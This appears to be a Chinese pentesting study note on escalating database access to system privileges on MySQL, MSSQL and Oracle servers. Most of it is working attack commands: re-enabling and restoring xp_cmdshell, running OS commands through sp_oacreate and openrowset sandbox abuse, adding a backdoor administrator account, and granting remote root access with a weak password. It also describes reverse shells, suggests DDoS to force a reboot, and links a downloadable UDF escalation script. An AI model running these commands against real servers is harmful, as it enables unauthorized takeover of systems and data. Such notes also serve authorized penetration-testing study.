数据库提权:
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权来获得系统权限,不是提升数据库用户的权限,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数
据库提权的可能。
#数据库应用提权在权限提升中的意义
#WEB 或本地环境如何探针数据库应用
#数据库提权权限用户密码收集等方法
#目前数据库提权对应的技术及方法等
提权流程:服务探针->信息收集->提权利用->获取权限
探针查看是否有数据库服务:
信息收集获取密码:
1)mysql文件夹下有着myd后缀文件是与数据表相匹配的,因此可以直接查看文件来找各种信息,比如mysql的user表存储着用户信息,因此user.myd文件必定存储着root用户的账号密码。(@@basedir/data/数据库名/表名.myd)
2)利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联mysql默认root不允许外联,root只能本机来连接才行),脚本相对于工具更容易在目标本机上执行,同时可以本地爆破连接本机root,避免了外联的限制。
3)总之就这张图:
MySQL数据库提权演示-脚本&MSF:
mysql提权方法有以上四种。
提权利用(一)(UDF方法,基于 MYSQL 调用命令执行函数,需要创建并操作dll文件到指定目录以及利用脚本来实现):
先来了解下mysql的udf是什么:https://blog.csdn.net/luoqiya/article/details/12888553, 简而言之就是我们可以利用udf函数的特性与操作系统进行交互进而命令执行,并且神器sqlmap里边也集成有此功能,在sqlmap根目录\data\udf\myqsl下,具体使用百度。
利用此方法第一步先判断版本和安装路径:
1.mysql<5.1则 导出dll文件到目录 c:/windows 或 system32
2.mysql=>5.1 则 导出dll文件到安装目录 /lib/plugin(这个目录默认是没有的,需要我们去创建)
select version();
select @@basedir;//查看安装目录
之后有安装路径最好,没有则需要创建路径。
手工创建 plugin 目录或利用 NTFS 流创建。
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
最后创建并移动dll文件,成功后,mysql命令行下就可以命令执行了。
我感觉创建dll文件的本质应该是创建一个mysql的表,并将保存的文件后缀为dll,具体我也不太清楚,自己搞不来这文件,直接用别人写的脚本来执行操作的,只用输入数据库root账号密码就行了,可以分析下脚本源码来学习无脚本时自己怎么操作,php环境就用php脚本。
利用脚本(别人写好的或者自己写的上传至目标主机运行,优秀的脚本甚至帮你判断了mysql版本和安装路径)直接创建并导出 dll 文件至根据mysql版本号判断出的路径,最后就可以自定义执行函数从而操作系统命令执行。
/*
暗月的mysqludf提权脚本及使用:
链接:https://pan.baidu.com/s/1wztja_QAH2hspybVnE6BCA
提取码:2i7s
*/
可能的问题:
1)对权限要求挺高:1、secure_file_priv 配置;2、目录的写权限
2)脚本文件是否匹配mysql版本和位数
3)目录是否存在
4)是否是mysql版本应该对应的路径,而且windows与linux上的路径自然也不一样。
自己测试时脚本运行环境最好是直接搭建的mysql服务,集成的phpstudy环境容易出很多破问题,我本机用的集成环境搭建时就总是爆错,因此出问题了要不就找出bug解决要不就换个环境比如虚拟机。
提权利用(二)(MOF方法:基于 MYSQL 特性的安全问题)
成功几率不大,原理及利用参考文章:https://www.cnblogs.com/xishaonian/p/6384535.html
提权利用(三) 利用启动项(基于配合操作系统自启动)
手动导出自定义可执行文件到启动目录配合重启执行或msf工具将创建好的后⻔或执行文件进行服务器启动项写入,(前提是mysql打开外连让msf连上才行)配合重启执行;
让对方重启:ddos。
mysql开启外连:
GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root"
本地开启监听端口和服务,还是利用那个脚本,创建反弹shell函数,sql语句执行函数,将shell反弹给自己的本地主机,可以执行系统命令。
MSSQL(sql serve)数据库提权演示:
1)使用xp_cmdshell进行提权:
xp_cmdshell(数据库-系统数据库-mater-可编程性-系统扩展存储过程)默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它:
启用:
EXEC sp_configure ‘show advanced options’,1 ;
Reconfigure;
EXEC sp_configure ‘xp_cmdshell’,1;
关闭:
EXEC sp_configure ‘show advanced options’,1;
reconfigure;
exec sp_config ‘xp_cmdshell’,0;
reconfigure;
执行:
exec master.dbo.xp_cmdshell ‘系统命令’ , 而且是system权限!
如果xp_cmdshell被删除了,可以上传xplog70.dll恢复:
exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\Program Files\Microsoft SQL server\MSSQL\Binn\xplog70.dll'
2)使用sp_oacreate提权:
主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;
执行: 将无回显地执行结果写入进文件
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’
3)使用SQL server沙盒提权:
沙盒是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
--提权语句
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
参考:https://blog.51cto.com/u_11797152/2411770
Oracle数据库提权演示-自动化工具(Oracleshell)
jsp(java server page)网站 后⻔不需要提权,自带system。
一般都搭配tomcat服务器来配合oracle数据库,我们可以查找配置文件找到账号密码。
1)DBA用户:(sqlmap、oracleshell自动化工具,–is-dba参数看是否是oracle的dba用户)
拥有DBA账号密码,可以省去自己动手创建存储的繁琐步骤,一键执行测试。
2)注入提升模式:(sqlmap测试演示):
拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,要自己验证。
3)普通用户:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
参考这篇文章:https://blog.csdn.net/qq_17204441/article/details/89484872